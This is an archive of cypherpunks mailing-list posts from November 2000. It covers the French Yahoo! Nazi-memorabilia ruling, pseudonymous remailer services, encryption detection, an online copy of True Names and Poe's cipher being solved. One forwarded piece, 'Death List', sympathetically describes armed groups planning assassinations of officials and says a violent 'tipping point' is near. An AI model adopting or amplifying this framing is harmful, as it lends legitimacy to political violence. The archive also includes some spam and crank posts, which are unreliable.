Nazi memorabilia, which is illegal in France. Yahoo! said that it was impossible to fully comply with this ruling, so the court appointed three experts, one French, one European and one American, to advise it. I was appointed the European expert. The remarkable lack of deep thought on this matter that has been evidenced by the press has prompted me to write up my own views. Enjoy. The Experts' Advice It is important to understand that the experts were asked a very simple question: is it technically possible for Yahoo! to comply with the judgment against them, and, if not, to what extent can compliance be achieved? I took the view that it was my duty to put aside any political agenda I might have and simply answer the question to the best of my ability. My answer was, in essence, this: no, compliance is impossible. But I was not allowed to leave it at that; remember that if it was not possible to comply completely, I was asked to say to what extent compliance is possible. The best that can be achieved is a rather flakey guess at nationality, using IP address or domain name (we estimated this was around 80% accurate for France, with some obvious huge exceptions, like AOL subscribers). Failing that, one can simply ask the websurfer whether she's French, and, if so, plant a cookie to that affect. Of course, both of these can be trivially circumvented. The first by using an anonymizer, for example http://www.anonymizer.com/ (note that I am in no way recommending this particular one, it just happens to be the first I found, after 10 seconds of searching), or by signing up for AOL. The second can be avoided simply by lying. It seems that despite this, the judge has required Yahoo! to implement these measures. So What Does It All Mean? This is where it gets interesting. Firstly, there's the question of jurisdiction. It seems self-evident to me that France has the right to assert jurisdiction over its citizens. Whether I agree with their laws is beside the point; those laws apply to French people. If Yahoo! wants to be beyond France's reach, they can surely achieve that, by withdrawing their operations from France. The fact that they don't means that, presumably, they see economic advantage in continuing to maintain a presence there, despite this problem. If they did this, the French courts would, I suppose, have to pursue ISPs instead. I imagine this would become a major struggle. As for France directly requiring American companies to enforce French laws, that seems to me to be an obvious non-starter. Secondly, people like to say "France has no clue - they're trying to enforce an unworkable technical solution". This is silly. The duty of the experts was to give an unbiased opinion. The duty of the judge is to apply the law of the land to the best of his ability. We cannot comply with those duties without ending up where we are. Think about it: would you want to live in a world where judges routinely do things according to political stances or publicity? I think not. Yes, the solution is half-assed and trivially avoidable. We know that. But it is still the natural outcome of applying the law. Law-abiding citizens are aided in obeying the law, and law-breakers are able to do so, just as they can slash tires, or mug people in the street. Then the economic aspects have to be considered. Yahoo! could reasonably point out that following this course will end up with them having to maintain a huge matrix of pages versus jurisdictions to see who can and can't see what. Given that the technical remedies are inaccurate, ineffective and trivially avoided, this argument holds a great deal of water. Why impose this pointless burden on every single website in the world? I suspect this argument will become stronger with each similar case. Most importantly, there's a philosophical point. Remember that what is supposed to be prevented is not the purchase of Nazi memorabilia, but the mere ability to even see them. Presumably purchase can be controlled at the point where the items enter France, just as if a Frenchman went to a market selling such things overseas, and brought them home. What is being fought over is literally what people think. No-one should be able to control what I know or what I think. Not the government. Not the Thought Police. Not my family. Not my friends. The Internet is pure information. The fact that I cast aside my libertarian leanings in order to answer the question for the court, and yet was still unable to help in any substantive way, I find encouraging. We know we've done the right thing when our own best efforts cannot thwart it. Some people seem to think that this sets some kind of important precedent. If it does, then the precedent is surely that the Internet does not adapt well to the control of subject matter, not that governments will intervene and censor it successfully - people have been trying to do that since it started, and they've never got anywhere. This case is no exception. Ben Laurie, 21st November 2000 [1] From The Chambers Dictionary: apology: a defence, justification, apologia apologia: a written defence or vindication # distributed via : no commercial use without permission # is a moderated mailing list for net criticism, # collaborative text filtering and cultural politics of the nets # more info: majordomo at bbs.thing.net and "info nettime-l" in the msg body # archive: http://www.nettime.org contact: nettime at bbs.thing.net --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From anonymous at openpgp.net Thu Nov 30 10:55:33 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Thu, 30 Nov 2000 13:55:33 -0500 Subject: ZKS .signature ads? (was: Re: online copy of Vinge's True Names) Message-ID: obvious at beta.freedom.net wrote: ... > Obvious. > ________________________________________________________________________ > Total Internet Privacy -- get your Freedom Nym at http://www.freedom.net Those using mydejacluelessmail.com to send messages through the public remailer network can use "cutmarks" to remove the irritating "Sign up For MyDejaCluelessmail" footers from their messages which a) are obnoxious and b) can leak information. Why is there such a tag at the bottom of *your* note? Is this a default .signature that you just chose not to remove/alter? Or is it inserted courtesy of Freedom without the option to omit? If the latter, my loathing of Freedom has just increased substantially -- pay $50 for some crummy nyms and then be forced to carry ZKS advertising to boot? No thank you. From tom at ricardo.de Thu Nov 30 05:27:23 2000 From: tom at ricardo.de (Tom Vogt) Date: Thu, 30 Nov 2000 14:27:23 +0100 Subject: CDR: identifying encryption References: Message-ID: <3A2655BB.9711DED9@ricardo.de> Jim Choate wrote: > > the solution is easy, if you accept a few limitations. > > Yeah, like the elimination of choice and the implimentation of coercion > through a 'do it my way or hit the highway' attitude. > > Not acceptable. as I said back then: if it's *my* remailer (or whatever) then I can darn well set the rules. if you don't like them, use someone else's resources. now, on the other hand, looking at things from a practical instead of ideological POV, almost every encryption used for e-mail shares certain characteristics, such as having a "block" of characters with little or no whitespacing, which is *very* different from normal text. the difference is so obvious that it takes a human a single glance to distinguish between the two, even if the cleartext is written in a language he doesn't understand. requiring that the cleartext follows this convention may limit the available choices, but it's still a *far* cry from "elimination of choice". as a matter of fact, I'd challenge you to come up with an encryption system that does: a) fail to satisfy the "block of characters" criterium b) is actually used by anyone for e-mail communications c) was not specifically designed to make this point From sunder at sunder.net Thu Nov 30 11:27:30 2000 From: sunder at sunder.net (sunder) Date: Thu, 30 Nov 2000 14:27:30 -0500 Subject: online copy of Vinge's True Names References: <20001129174211.N419@eskimo.com> <3A25C4D1.1B1694CB@harmon.arrowhead.lib.mn.us> Message-ID: <3A26AA22.825B5446@sunder.net> Netscape seems to have problems with it. It seems to view fine under the Opera browser. Harmon Seaver wrote: > > Hmm, all I get when I go there is a blank page, but it looks like some > really big files a loading before it gets there.Wonder wht I'm downloading? > Wonder if I'm bullet proof? Care to download it and send it to me? > > Wei Dai wrote: > > > There is an online copy of Vernor Vinge's novel True Names at > > http://www.neoisp.org/macroscope/vinge/vernor/true_names/truename.htm. I > > don't know who put it up, but I found it by a doing a Google search for > > '"true names" "just barely possible"'. -- ----------------------Kaos-Keraunos-Kybernetos--------------------------- + ^ + :Surveillance cameras|Passwords are like underwear. You don't /|\ \|/ :aren't security. A |share them, you don't hang them on your/\|/\ <--*-->:camera won't stop a |monitor, or under your keyboard, you \/|\/ /|\ :masked killer, but |don't email them, or put them on a web \|/ + v + :will violate privacy|site, and you must change them very often. --------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------ From jello42 at hotmail.com Thu Nov 30 14:28:26 2000 From: jello42 at hotmail.com (bob bob2) Date: Thu, 30 Nov 2000 14:28:26 -0800 Subject: diving tank? Message-ID: stainless steel and designed for high pressure? I can think of a bunch of things besides diving that could be used for. _____________________________________________________________________________________ Get more from the Web. FREE MSN Explorer download : http://explorer.msn.com From oblivious at beta.freedom.net Thu Nov 30 11:28:48 2000 From: oblivious at beta.freedom.net (oblivious at beta.freedom.net) Date: Thu, 30 Nov 2000 14:28:48 -0500 Subject: ZKS .signature ads? (was: Re: online copy of Vinge's True Names) Message-ID: <200011301928.OAA08149@domains.invweb.net> anonymous at openpgp.net wrote: > Why is there such a tag at the bottom of *your* note? Is this a default > signature that you just chose not to remove/alter? Or is it inserted > courtesy of Freedom without the option to omit? > If the latter, my loathing of Freedom has just increased substantially -- > pay $50 for some crummy nyms and then be forced to carry ZKS advertising > to boot? No thank you. I think you can answer that for yourself. After all, another Freedom beta test nym has been posting to cypherpunks without the tagline for a couple of days. Oblivious. From bpayne37 at home.com Thu Nov 30 13:51:53 2000 From: bpayne37 at home.com (bill payne) Date: Thu, 30 Nov 2000 14:51:53 -0700 Subject: judge martha vasquez and magistrate william deaton Message-ID: <3A26CBF9.DF798F9D@home.com> cypherpunks http://www.inet-one.com/cypherpunks/dir.2000.06.12-2000.06.18/msg00291.html Morales and I got BOTH deaton and vasquez http://www.geocities.com/CapitolHill/Congress/8327/ http://members.tripod.com/bill_3_2/ http://www.nmol.com/users/billp/ Something fishy going on here. best http://www.geocities.com/CapitolHill/Congress/8327/load1.html From root at dsl4.algebra.com Thu Nov 30 12:53:05 2000 From: root at dsl4.algebra.com (root) Date: Thu, 30 Nov 2000 14:53:05 -0600 Subject: hi Message-ID: <200011302053.eAUKr5K09792@ak47.algebra.com> hi From elstondl at flash.net Thu Nov 30 13:09:08 2000 From: elstondl at flash.net (David & Linda) Date: Thu, 30 Nov 2000 15:09:08 -0600 Subject: ip: Death List Message-ID: -------- Original Message -------- Subject: [Fwd: [F/A List] WS>>Death List] Date: Thu, 30 Nov 2000 11:24:41 -0500 From: Virginia Raines by Lawrence Henry Monday, September 18, 2000 The other day, Rush Limbaugh took a phone call from a calm, reasonable-sounding man who said that there were some Americans who simply weren't going to stand for being steam- rollered by liberalism any more, that they were prepared - indeed, expected - to have to fight an armed revolution to take their country back. Rush gets calls like that periodically. As he always does, he asked the caller where the battles of this revolu- tion would be fought, and how. This particular caller did not (as such callers usually do not) provide any clear answers, perhaps because he hadn't thought the subject through completely. But the man was right about one thing: There definitely are a number of people in the United States who are armed, ready, and waiting - simply for some tipping point - to start shooting. They just don't call up talk shows and say so. How many of them are there? Somewhere between 50,000 and a million. Enough to cause a whole lot of trouble. Yes, some of them nurture romantic dreams of fighting guer- rilla battles in the mountains. Plenty of others - enough - know that won't work. They know that revolutions are not won by pitched battles. They know that no insurrectionary force could stand up to the firepower of the United States military. No, instead, they have death lists. They plan assassina- tions. They know that some few - perhaps a few thousand - key people direct the legal, regulatory, and cultural move- ments they despise. And they have adopted a simple credo, one by one: "I'll get two of them before they get one of me." This revolutionary cadre, entirely unorganized, simmer- ing like an unfocused viral epidemic, occupies the core of a number of discontented populations. In the broadest sense, they constitute the armed wing of what political activist Grover Norquist called "the leave-us-alone coalition." Make no mistake, the powers that be know this. And they're afraid. That fear lies behind the moves in the liberal establishment to outlaw home schooling, state by state; to oppose school vouchers, battleground by battle- ground (have to preserve that indoctrination); to create military-style law enforcement units in agencies like the Immigration and Naturalization Service, the Bureau of Alco- hol, Tobacco, and Firearms, and in Special Weapons and Tactical Squads (SWAT teams) of local police departments; to demoralize and weaken the military (which has a natural and historic affinity for patriotism and "leave us alone" senti- ments); to hype up executive security forces; to confiscate guns; to hamstring free enterprise through lawsuits - these and hundreds of other establishment efforts to consolidate dictatorial power. These potential revolutionaries are resigned to being hated, demonized as nut cases, religious fanatics, gap- toothed idiots, yokels, and benighted, laughable fools. They know that a few deaths can make a big difference (look how badly the Republican party has missed Lee Atwater). They're resigned to forcing a national police action. They're willing, like classic Leninists, to provoke a crack- down simply to rouse revolutionary chaos. As revolutionaries, these assassins-to-be also know that they probably cannot win their fight. High-profile killings will certainly be treated as terrorism by the government and the media, working in lockstep. Some assas- sinations will be covered up outright; the public will never know. The revolutionaries may be counting on sympathy from the military - even the desertion of some military units to the cause. More likely, a demoralized and emasculated military will not get involved in the fight at all. But the revolutionaries don't care. At some key tip- ping point, they reason their lives are forfeit anyway: their country is gone, its principles and traditions raped, its institutions occupied by enemy forces. Change will be impossible by any legal means. Democracy will be dead. That tipping point is very near. http://www.americanpartisan.com/ --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From no.user at anon.xg.nu Thu Nov 30 13:09:54 2000 From: no.user at anon.xg.nu (No User) Date: Thu, 30 Nov 2000 15:09:54 -0600 Subject: Imagine Message-ID: Bill sayeth: > Then there were the 12000 mainly black voters whose registrations were > disqualified incorrectly because they were allegedly felons, based on a > database provided by a company whose parent company gave a > six-figure contribution to the Republican Party - about 8000 of those > people got back on the voter rolls, and probably not all of the > other 4000 would have voted, but they were much more likely to > have voted Democrat. Where does it say in the Constitution or Bill of Rights that you become a second-class citizen if you commit a felony? You might lose the right to freedom for a period of time, but when that time is done why are you still without rights? Who says you lose those rights, state or fed? Has it been challenged? Seems a pretty bogus concept to me. From rsw at MIT.EDU Thu Nov 30 12:17:06 2000 From: rsw at MIT.EDU (Riad S. Wahby) Date: Thu, 30 Nov 2000 15:17:06 -0500 Subject: True Names, well formatted (i.e. not HTML) Message-ID: <20001130151706.A22256@positron.mit.edu> A non-text attachment was scrubbed... Name: not available Type: application/pgp Size: 809 bytes Desc: not available URL: From obvious at beta.freedom.net Thu Nov 30 12:23:39 2000 From: obvious at beta.freedom.net (obvious at beta.freedom.net) Date: Thu, 30 Nov 2000 15:23:39 -0500 Subject: ZKS .signature ads? (was: Re: online copy of Vinge's True Names) Message-ID: <200011302023.PAA14083@domains.invweb.net> > > Total Internet Privacy -- get your Freedom Nym at http://www.freedom.net > > Why is there such a tag at the bottom of *your* note? Is this a default > .signature that you just chose not to remove/alter? Or is it inserted > courtesy of Freedom without the option to omit? It's a checkbox option, I just forgot to uncheck it after a reinstall. Obvious. From bill.stewart at pobox.com Thu Nov 30 15:29:35 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Thu, 30 Nov 2000 15:29:35 -0800 Subject: CNN.com - U.S. Supreme Court strikes down drug roadblocks - November 28, 2000 In-Reply-To: <3A253940.E0E0D7FE@sunder.net> References: <3A2401FB.E9B3C0A0@dev.tivoli.com> Message-ID: <3.0.5.32.20001130152935.019985c0@idiom.com> At 12:13 PM 11/29/00 -0500, sunder wrote: >Jim Choate wrote: >> >> http://www.cnn.com/2000/LAW/11/28/court.roadblocks.sc.reut/index.html ... >Jim, rather than sending this 63K email with a copyright violation, >why don't you just send us the above URL with NO attachments? ... >Read our lips: THE URL IS ALL WE NEED. NO MORE THAN THAT! Of course, when somebody sends _just_ the URL, with no accompanying explanation of what it's about or why it's worth the time looking it up and reading it, we also rant them out for not including at least the first paragraph or a sentence or two of commentary :-) Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From xinruanxin at kali.com.cn Thu Nov 30 15:34:21 2000 From: xinruanxin at kali.com.cn (xinruanxin at kali.com.cn) Date: Thu, 30 Nov 2000 15:34:21 Subject: CDR: xinruanxin Message-ID: <200011300805.AAA15741@toad.com> Please visit my homepage http://www.nease.net/~edward http://xrx.yeah.net There is many game,photo,mp3,book in there ------------------------------------------------------------------- Sohusoft - Search Emailaddress and do mass mailing Marketing for you http://www.flashsendmail.com From bill.stewart at pobox.com Thu Nov 30 13:31:25 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Thu, 30 Nov 2000 16:31:25 -0500 Subject: online copy of Vinge's True Names In-Reply-To: <3A25C4D1.1B1694CB@harmon.arrowhead.lib.mn.us> References: <20001129174211.N419@eskimo.com> Message-ID: <3.0.5.32.20001130132936.0199e370@idiom.com> At 10:09 PM 11/29/00 -0500, Harmon Seaver wrote: > Hmm, all I get when I go there is a blank page, but it looks like some >really big files a loading before it gets there.Wonder wht I'm downloading? >Wonder if I'm bullet proof? Care to download it and send it to me? Netscape 4.7x choked on it. Internet Exploder loads it just fine. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From galt at inconnu.isu.edu Thu Nov 30 15:58:27 2000 From: galt at inconnu.isu.edu (John Galt) Date: Thu, 30 Nov 2000 16:58:27 -0700 (MST) Subject: diving tank? In-Reply-To: Message-ID: More importantly, 8M deep water isn't HP by any means. That only works out to 2 atm, engineering definitions of high pressure mean 500+ psi (1 atm is 15 psi). Basically, cast aluminum or brass could do the trick. On Thu, 30 Nov 2000, bob bob2 wrote: > stainless steel and designed for high pressure? I can think of a bunch of > things besides diving that could be used for. > _____________________________________________________________________________________ > Get more from the Web. FREE MSN Explorer download : http://explorer.msn.com > -- Customer: "I'm running Windows '98" Tech: "Yes." Customer: "My computer isn't working now." Tech: "Yes, you said that." Who is John Galt? galt at inconnu.isu.edu, that's who! From allyn at well.com Thu Nov 30 17:01:48 2000 From: allyn at well.com (Mark Allyn) Date: Thu, 30 Nov 2000 17:01:48 -0800 (PST) Subject: hi In-Reply-To: <200011302053.eAUKr5K09792@ak47.algebra.com> Message-ID: Hello! Merry Christmas! Happy Hanika! Love & Peace! From ravage at ssz.com Thu Nov 30 15:03:01 2000 From: ravage at ssz.com (Jim Choate) Date: Thu, 30 Nov 2000 17:03:01 -0600 (CST) Subject: Directed Hamiltonian path problem In-Reply-To: <000399F6.C22005@srh.dgac.fr> Message-ID: On Thu, 30 Nov 2000, DUBEAU Guy wrote: > I am curious to know the maximum size of graphs than can be solved by > existing computers (electronic or DNA-based). That's too vague to answer. Are you talking about a C64 or some super computer? How big a DNA computer? > Also, what would be the commercial fallout of finding an algorithm to > solve the Hamiltonian path problem rapidly for big graphs (500 points > and over) ? Lot's, it would provide a mechanism to produce near-optimal scheduling stategies for a lot of commercial problems. ____________________________________________________________________ Before a larger group can see the virtue of an idea, a smaller group must first understand it. "Stranger Suns" George Zebrowski The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at ssz.com Thu Nov 30 15:17:47 2000 From: ravage at ssz.com (Jim Choate) Date: Thu, 30 Nov 2000 17:17:47 -0600 (CST) Subject: Imagine In-Reply-To: Message-ID: On Thu, 30 Nov 2000, No User wrote: > Where does it say in the Constitution or Bill of Rights that you > become a second-class citizen if you commit a felony? You might lose > the right to freedom for a period of time, but when that time is done > why are you still without rights? Who says you lose those rights, state > or fed? Has it been challenged? Seems a pretty bogus concept to me. It doesn't and it's been challenged about as much as the courts insistence on setting a 'sporting use' standard on what sorts of guns one may own. ____________________________________________________________________ Before a larger group can see the virtue of an idea, a smaller group must first understand it. "Stranger Suns" George Zebrowski The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From jburnes at savvis.net Thu Nov 30 14:33:36 2000 From: jburnes at savvis.net (Jim Burnes) Date: Thu, 30 Nov 2000 17:33:36 -0500 Subject: online copy of Vinge's True Names In-Reply-To: <3.0.5.32.20001130132936.0199e370@idiom.com> References: <20001129174211.N419@eskimo.com> <3.0.5.32.20001130132936.0199e370@idiom.com> Message-ID: <00113017434100.01029@reality.eng.savvis.net> On Thursday 30 November 2000 15:31, Bill Stewart wrote: > At 10:09 PM 11/29/00 -0500, Harmon Seaver wrote: > > Hmm, all I get when I go there is a blank page, but it looks like some > >really big files a loading before it gets there.Wonder wht I'm > > downloading? Wonder if I'm bullet proof? Care to download it and send it > > to me? > > Netscape 4.7x choked on it. > Internet Exploder loads it just fine. > Thanks! > Bill > Bill Stewart, bill.stewart at pobox.com > PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 The wonderful KDE2 Browswer 'Konqueror' loaded it with no problems. Of course it was being pounded heavily, but it did eventually come up. BTW: If you get a chance to install Linux Mandrake 7.2 distribution, I highly recommend KDE2. Despite a few remaining bugs Konqueror is the browser so many of us waited for from the Mozilla group, but never received. ObCrypto: Konqueror implements full SSL with client-side certs and its Cryptography configuration dialog allows fine-grained control over crypto settings (as well as displaying transforms currently in use). jim -- Sometimes it is said that man can not be trusted with the government of himself. Can he, then, be trusted with the government of others? Or have we found angels in the forms of kings to govern him? Let history answer this question. -- Thomas Jefferson, 1st Inaugural From ravage at einstein.ssz.com Thu Nov 30 15:56:19 2000 From: ravage at einstein.ssz.com (Jim Choate) Date: Thu, 30 Nov 2000 17:56:19 -0600 (CST) Subject: Poe puzzle solved after 150 years In-Reply-To: Message-ID: Talk about a double-standard... ____________________________________________________________________ Before a larger group can see the virtue of an idea, a smaller group must first understand it. "Stranger Suns" George Zebrowski The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- On Thu, 30 Nov 2000, R. A. Hettinga wrote: > http://www.nandotimes.com/noframes/story/0,2107,500285318-500450084-502935451-0,00.html > > > > > ------------------------------------------------------------------------ > Code breakers believe Poe puzzle solved after 150 years > > > > > * Text of Poe's messages > > > By JEFF DONN, Associated Press > > WILLIAMSTOWN, Mass. (November 30, 2000 3:51 p.m. EST > http://www.nandotimes.com) - Edgar Allan Poe, master of the mysterious and > the macabre, may have uttered his last words from beyond the grave. > > A coded message published by Poe in 1841 in a magazine where he worked as > editor has been deciphered with the help of modern computing and the > intuition of a young puzzle solver, 151 years after Poe's death. > > As it turns out, the translated passage wasn't Poe's message for readers > yet unborn or a key to comprehending his enigmatic stories. In fact, the > passage is so inept and sentimental he probably didn't write it all. But > the mystery of whether he selected and encoded the passage remains. > > It was one of two encoded texts that Poe presented as the work of a "Mr. > W.B. Tyler," challenging readers to break their codes. > > No one did -- maybe no one cared to -- until scholars, in recent years, > began embracing the theory that Poe himself came up with the messages and > devised the codes. > > The theory holds that Poe, obsessed with death and premature burial in "The > Tell-tale Heart" and other stories, would have encrypted his own words in > nearly impenetrable code meant to be pried open only long after his death. > > In 1992, Duke University doctoral student Terence Whalen, while > procrastinating on his dissertation, finally decoded the first message. It > was a passage from the 1713 play "Cato" by English writer Joseph Addison. > > But it took computer power and more time to fathom the second. > > "I can't really say if I cared what it would say, one way or the other. But > I was curious to see what it would yield," said Gil Broza, a 27-year-old > computer programmer from Toronto who cracked the code. > > For his solution, he was awarded $2,500 in October by Williams College, in > Williamstown. Shawn Rosenheim, a Poe scholar there who had pondered the > problem for years, established the contest in 1996. > > The two texts were much like complex versions of today's newspaper > cryptograms. In Poe's time, they were often called "ciphers." > > The first cipher put the original message backward. But its solution took > just a few days, because each letter in the original message matches just > one other letter in the code. > > The second cipher is far more complex. Each letter in the original has > multiple variants. The letter "e," for example, has 14. The code freely > mixes upper and lower case and turns some characters upside down. > > It is also maddeningly brief -- fewer than 150 words -- and so a discovered > letter may provide clues to few words. It is also littered with what appear > to be typographical errors. > > Rosenheim and many others tried to solve it and failed. The breakthrough > came when Broza decided, in traditional deciphering technique, to assume > that each three-letter code word could represent "the," "and," or "not" and > to play with the possibilities. With a computer program of his own design, > he scanned lists of phrases showing the same patterns of letters. > > He finally identified four letters in one word and conjectured correctly, > like a contestant on "Wheel of Fortune," that it was "afternoon." That gave > him yet more letters to decode more words and ultimately the whole text, > within two months of work. > > The deciphered message is a treacly passage wholly unlike Poe's work, with > references to sultry breezes, amorous zephyrs and delicious languor. > > "I can't imagine Poe would have taken the trouble to construct an elaborate > cryptogram to disguise something this banal," said J. Gerald Kennedy, a Poe > expert at Louisiana State University in Baton Rouge. > > On the other hand, Poe was a prankster who used to write anonymous reviews > of his own work, accusing himself of plagiarism. Some believe Poe chose the > name Tyler to tweak President John Tyler, whose administration had passed > over the chronically broke Poe for a job. > > In the end, the solved texts do touch on themes that preoccupied Poe, like > immortality and enclosure, but neither appears to be the coveted message to > posterity. They don't even indicate definitively if Poe encoded them. > > "I spent years of my life on this," Rosenheim said this week. "But I might > be wrong." > > "You can make an argument one way or another," said Whalen, now at the > University of Illinois in Chicago. > > "That's just like Poe -- and just like life," he added. "There's always > another question." > ------------------------------------------------------------------------ > > ------------------------------------------------------------------------ > Global | Nation | Sports | Politics | Opinions | Business | Techserver | > Health & Science | Entertainment | Weather | Baseball | Basketball | > Football | Hockey | Sport Server | MAIN > ------------------------------------------------------------------------ > Copyright � 2000 Nando Media > Do you have some feedback for the Nando Times staff? > > -- > ----------------- > R. A. Hettinga > The Internet Bearer Underwriting Corporation > 44 Farquhar Street, Boston, MA 02131 USA > "... however it may deserve respect for its usefulness and antiquity, > [predicting the end of the world] has not been found agreeable to > experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' > From rah at shipwright.com Thu Nov 30 15:15:58 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Thu, 30 Nov 2000 18:15:58 -0500 Subject: ip: Death List Message-ID: --- begin forwarded text From ravage at ssz.com Thu Nov 30 16:40:29 2000 From: ravage at ssz.com (Jim Choate) Date: Thu, 30 Nov 2000 18:40:29 -0600 (CST) Subject: What it's all about... Message-ID: 1. Who get's to make the choice? 2. What are the permissible choices out of the total range of choices? The outcome effects 1. ____________________________________________________________________ Before a larger group can see the virtue of an idea, a smaller group must first understand it. "Stranger Suns" George Zebrowski The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From rah at shipwright.com Thu Nov 30 15:46:18 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Thu, 30 Nov 2000 18:46:18 -0500 Subject: Poe puzzle solved after 150 years Message-ID: http://www.nandotimes.com/noframes/story/0,2107,500285318-500450084-502935451-0,00.html ------------------------------------------------------------------------ Code breakers believe Poe puzzle solved after 150 years * Text of Poe's messages By JEFF DONN, Associated Press WILLIAMSTOWN, Mass. (November 30, 2000 3:51 p.m. EST http://www.nandotimes.com) - Edgar Allan Poe, master of the mysterious and the macabre, may have uttered his last words from beyond the grave. A coded message published by Poe in 1841 in a magazine where he worked as editor has been deciphered with the help of modern computing and the intuition of a young puzzle solver, 151 years after Poe's death. As it turns out, the translated passage wasn't Poe's message for readers yet unborn or a key to comprehending his enigmatic stories. In fact, the passage is so inept and sentimental he probably didn't write it all. But the mystery of whether he selected and encoded the passage remains. It was one of two encoded texts that Poe presented as the work of a "Mr. W.B. Tyler," challenging readers to break their codes. No one did -- maybe no one cared to -- until scholars, in recent years, began embracing the theory that Poe himself came up with the messages and devised the codes. The theory holds that Poe, obsessed with death and premature burial in "The Tell-tale Heart" and other stories, would have encrypted his own words in nearly impenetrable code meant to be pried open only long after his death. In 1992, Duke University doctoral student Terence Whalen, while procrastinating on his dissertation, finally decoded the first message. It was a passage from the 1713 play "Cato" by English writer Joseph Addison. But it took computer power and more time to fathom the second. "I can't really say if I cared what it would say, one way or the other. But I was curious to see what it would yield," said Gil Broza, a 27-year-old computer programmer from Toronto who cracked the code. For his solution, he was awarded $2,500 in October by Williams College, in Williamstown. Shawn Rosenheim, a Poe scholar there who had pondered the problem for years, established the contest in 1996. The two texts were much like complex versions of today's newspaper cryptograms. In Poe's time, they were often called "ciphers." The first cipher put the original message backward. But its solution took just a few days, because each letter in the original message matches just one other letter in the code. The second cipher is far more complex. Each letter in the original has multiple variants. The letter "e," for example, has 14. The code freely mixes upper and lower case and turns some characters upside down. It is also maddeningly brief -- fewer than 150 words -- and so a discovered letter may provide clues to few words. It is also littered with what appear to be typographical errors. Rosenheim and many others tried to solve it and failed. The breakthrough came when Broza decided, in traditional deciphering technique, to assume that each three-letter code word could represent "the," "and," or "not" and to play with the possibilities. With a computer program of his own design, he scanned lists of phrases showing the same patterns of letters. He finally identified four letters in one word and conjectured correctly, like a contestant on "Wheel of Fortune," that it was "afternoon." That gave him yet more letters to decode more words and ultimately the whole text, within two months of work. The deciphered message is a treacly passage wholly unlike Poe's work, with references to sultry breezes, amorous zephyrs and delicious languor. "I can't imagine Poe would have taken the trouble to construct an elaborate cryptogram to disguise something this banal," said J. Gerald Kennedy, a Poe expert at Louisiana State University in Baton Rouge. On the other hand, Poe was a prankster who used to write anonymous reviews of his own work, accusing himself of plagiarism. Some believe Poe chose the name Tyler to tweak President John Tyler, whose administration had passed over the chronically broke Poe for a job. In the end, the solved texts do touch on themes that preoccupied Poe, like immortality and enclosure, but neither appears to be the coveted message to posterity. They don't even indicate definitively if Poe encoded them. "I spent years of my life on this," Rosenheim said this week. "But I might be wrong." "You can make an argument one way or another," said Whalen, now at the University of Illinois in Chicago. "That's just like Poe -- and just like life," he added. "There's always another question." ------------------------------------------------------------------------ ------------------------------------------------------------------------ Global | Nation | Sports | Politics | Opinions | Business | Techserver | Health & Science | Entertainment | Weather | Baseball | Basketball | Football | Hockey | Sport Server | MAIN ------------------------------------------------------------------------ Copyright © 2000 Nando Media Do you have some feedback for the Nando Times staff? -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From ravage at ssz.com Thu Nov 30 17:14:30 2000 From: ravage at ssz.com (Jim Choate) Date: Thu, 30 Nov 2000 19:14:30 -0600 (CST) Subject: Questions of size... Message-ID: The list, by consensus of the operators, has a 1M file size limit. If you can't handle it don't ask others to discard inches... Oh, and to actually return to Sunders original point of copyright. Editing the copyrighted file actually shows intent. At least my excuse is the god damned software is intentionaly designed to force the behaviour. But I did find a way to remove the attachments with only 1 extra click. Though Netscape screams like a banshee when you do it (You pick up another extra click here as well which makes the exercise entirely too tedious - and I'm sure as hell not opening another(!) window - you've got your modem picadillo and I've got my software elegance standard - Want respect? Give it.). Clearly Netscape feels that the argument over unintentional (or 'forced' depending upon POV) copyright violations are less important than keeping attachments on 'send page' commands. It's always seemed to me that it would have made more sense to fetch the page reference when the mail was opened. But I didn't write the friggin beasty. If you don't like the behaviour then send a note to Netscape. I'm not going to do anything except keep transiently using the program and to keep participating in the list. If that means the occassional unintended attachment then so be it. Deal with it. If it really bothers you but you don't want to unsub then you can kill file (Mommy, can I go out and kill tonite?) or you can start your own node. File size limitations would be completely acceptable so long as you don't truncate the messages on the backbone that you forward to other core nodes. File size truncation would need to be limited to your direct subscribers only. You are of course always welcome to keep whinning. Empower the individual! The behaviour of the leading proponents of crypto-anarchy when faced with 'non-compliant' behaviour is clear evidence of why the philosophy doesn't work. 